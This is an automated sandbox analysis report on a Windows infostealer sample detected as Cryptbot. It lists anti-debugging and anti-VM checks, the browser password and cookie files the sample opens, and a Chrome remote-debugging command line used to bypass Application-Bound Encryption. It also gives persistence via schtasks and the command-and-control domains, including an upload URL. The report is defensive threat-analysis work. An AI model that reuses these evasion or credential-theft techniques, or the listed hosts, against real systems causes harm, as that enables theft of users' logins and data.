Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE0177 second address: 6DE01C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e jmp 00007F51EC50301Dh 0x00000013 popad 0x00000014 movzx eax, dx 0x00000017 popad 0x00000018 xchg eax, edi 0x00000019 pushad 0x0000001a mov edi, 13B3AB4Ch 0x0000001f mov esi, edi 0x00000021 popad 0x00000022 mov edi, dword ptr [ebp+08h] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F51EC503029h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE01C1 second address: 6DE01C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE01C7 second address: 6DE01DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC503023h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE01DE second address: 6DE0235 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+24h], 00000000h 0x00000010 jmp 00007F51EC518D15h 0x00000015 lock bts dword ptr [edi], 00000000h 0x0000001a jmp 00007F51EC518D0Eh 0x0000001f jc 00007F525C5FAF23h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F51EC518D17h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE0235 second address: 6DE0258 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE0258 second address: 6DE025C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE025C second address: 6DE0315 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F51EC503028h 0x00000008 and al, 00000048h 0x0000000b jmp 00007F51EC50301Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F51EC503026h 0x0000001a xor ch, FFFFFFA8h 0x0000001d jmp 00007F51EC50301Bh 0x00000022 popfd 0x00000023 call 00007F51EC503028h 0x00000028 pop eax 0x00000029 popad 0x0000002a popad 0x0000002b pop esi 0x0000002c jmp 00007F51EC503021h 0x00000031 pop ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F51EC503023h 0x0000003b add ax, 18FEh 0x00000040 jmp 00007F51EC503029h 0x00000045 popfd 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE0315 second address: 6DE031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0C1B second address: 6DF0C75 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F51EC503020h 0x00000008 adc eax, 2FBBCFE8h 0x0000000e jmp 00007F51EC50301Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F51EC503028h 0x0000001c sbb esi, 71BD6248h 0x00000022 jmp 00007F51EC50301Bh 0x00000027 popfd 0x00000028 popad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0C75 second address: 6DF0C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0C79 second address: 6DF0C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0C7D second address: 6DF0C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0C83 second address: 6DF0CAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC50301Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov di, ax 0x0000000e mov bx, ax 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov di, A5A2h 0x0000001b mov si, di 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0922 second address: 6DF0926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0926 second address: 6DF0942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0F02 second address: 6DF0F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0F06 second address: 6DF0F0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0F0C second address: 6DF0F59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov di, si 0x0000000f pushfd 0x00000010 jmp 00007F51EC518D10h 0x00000015 xor al, FFFFFF98h 0x00000018 jmp 00007F51EC518D0Bh 0x0000001d popfd 0x0000001e popad 0x0000001f push dword ptr [ebp+04h] 0x00000022 pushad 0x00000023 push eax 0x00000024 mov ebx, 4947D186h 0x00000029 pop edi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d pop edi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0F59 second address: 6DF0F94 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b jmp 00007F51EC503021h 0x00000010 push dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F51EC503028h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0F94 second address: 6DF0FA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0FA3 second address: 6DF0FAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E502E7 second address: 6E5036D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F51EC518D17h 0x00000008 pop ecx 0x00000009 jmp 00007F51EC518D19h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dl, byte ptr [ebp+14h] 0x00000014 jmp 00007F51EC518D0Eh 0x00000019 mov eax, dword ptr [ebp+10h] 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F51EC518D0Eh 0x00000023 add al, FFFFFFE8h 0x00000026 jmp 00007F51EC518D0Bh 0x0000002b popfd 0x0000002c mov eax, 237967DFh 0x00000031 popad 0x00000032 and dl, 00000007h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F51EC518D11h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E5036D second address: 6E5037D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC50301Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E5037D second address: 6E503A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F51EC518D10h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E503A4 second address: 6E503B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC50301Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E503B3 second address: 6E5043C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F525C5AEB28h 0x0000000f jmp 00007F51EC518D0Eh 0x00000014 sub ecx, ecx 0x00000016 jmp 00007F51EC518D11h 0x0000001b inc ecx 0x0000001c pushad 0x0000001d call 00007F51EC518D0Ch 0x00000022 mov ecx, 66D3C061h 0x00000027 pop eax 0x00000028 jmp 00007F51EC518D17h 0x0000002d popad 0x0000002e shr eax, 1 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F51EC518D15h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E3066C second address: 6E30672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E30672 second address: 6E30676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E30676 second address: 6E306AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007F51EC503026h 0x00000012 or si, 4B28h 0x00000017 jmp 00007F51EC50301Bh 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E306AA second address: 6E306BC instructions: 0x00000000 rdtsc 0x00000002 mov eax, 35F9D81Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E306BC second address: 6E306D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503023h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E306D3 second address: 6E306D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E306D9 second address: 6E306DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E306DD second address: 6E306E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E4001B second address: 6E40033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC503024h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E40033 second address: 6E40097 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F51EC518D0Bh 0x00000015 and ax, 715Eh 0x0000001a jmp 00007F51EC518D19h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F51EC518D10h 0x00000026 xor eax, 4A00AD58h 0x0000002c jmp 00007F51EC518D0Bh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E40097 second address: 6E400AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC503024h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E400AF second address: 6E400B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: A94C03 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: A94D29 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: C30040 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: C2E896 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: CBF720 instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1462 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1588 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1806 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1819 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1559 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\service123.exe API coverage: 1.2 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 6568 Thread sleep count: 67 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6568 Thread sleep time: -134067s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5276 Thread sleep count: 51 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5276 Thread sleep time: -102051s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5944 Thread sleep time: -32000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5668 Thread sleep count: 60 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5668 Thread sleep time: -120060s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4668 Thread sleep count: 1462 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4668 Thread sleep time: -2925462s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2556 Thread sleep count: 1588 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2556 Thread sleep time: -3177588s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4816 Thread sleep count: 1806 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4816 Thread sleep time: -3613806s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2928 Thread sleep count: 1819 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2928 Thread sleep time: -3639819s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6180 Thread sleep count: 1559 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6180 Thread sleep time: -3119559s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7800 Thread sleep count: 263 > 30 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\doomed\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\entries\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: chrome.exe, 00000003.00000002.2405956333.00000220A1AEE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllzz0
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\file.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\file.exe File opened: NTICE
Source: C:\Users\user\Desktop\file.exe File opened: SICE
Source: C:\Users\user\Desktop\file.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00168230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 7_2_00168230
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_0016116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit, 7_2_0016116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00161160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 7_2_00161160
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_001611A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 7_2_001611A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_001613C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm, 7_2_001613C9
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1D84D0 cpuid 7_2_6C1D84D0
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\file.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Clipboard Hijacker
Source: Yara match File source: 7.2.service123.exe.6c150000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: Process Memory Space: service123.exe PID: 7796, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1561550 Sample: file.exe Startdate: 23/11/2024 Architecture: WINDOWS Score: 100 48 Suricata IDS alerts for network traffic 2->48 50 Antivirus / Scanner detection for submitted sample 2->50 52 Multi AV Scanner detection for submitted file 2->52 54 6 other signatures 2->54 7 file.exe 5 3 2->7         started        12 service123.exe 2->12         started        14 service123.exe 2->14         started        process3 dnsIp4 36 fvtekk5pn.top 34.116.198.130, 49704, 49727, 49733 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG United States 7->36 38 127.0.0.1 unknown unknown 7->38 40 home.fvtekk5pn.top 7->40 30 C:\Users\user\...\unmYCIPOHmXNjqOesrEy.dll, PE32 7->30 dropped 32 C:\Users\user\AppData\...\service123.exe, PE32 7->32 dropped 56 Attempt to bypass Chrome Application-Bound Encryption 7->56 58 Tries to detect sandboxes and other dynamic analysis tools (window names) 7->58 60 Uses schtasks.exe or at.exe to add and modify task schedules 7->60 62 7 other signatures 7->62 16 service123.exe 7->16         started        19 chrome.exe 7->19         started        22 schtasks.exe 1 7->22         started        24 WerFault.exe 19 12 7->24         started        file5 signatures6 process7 dnsIp8 42 Multi AV Scanner detection for dropped file 16->42 44 Found evasive API chain (may stop execution after checking mutex) 16->44 46 Found stalling execution ending in API Sleep call 16->46 34 239.255.255.250 unknown Reserved 19->34 26 chrome.exe 19->26         started        28 conhost.exe 22->28         started        signatures9 process10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
239.255.255.250
 unknown Reserved
unknown unknown false
34.116.198.130
 home.fvtekk5pn.top United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
home.fvtekk5pn.top 34.116.198.130 true
fvtekk5pn.top 34.116.198.130 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://fvtekk5pn.top/v1/upload.php false
    		high
    http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347 false
      		high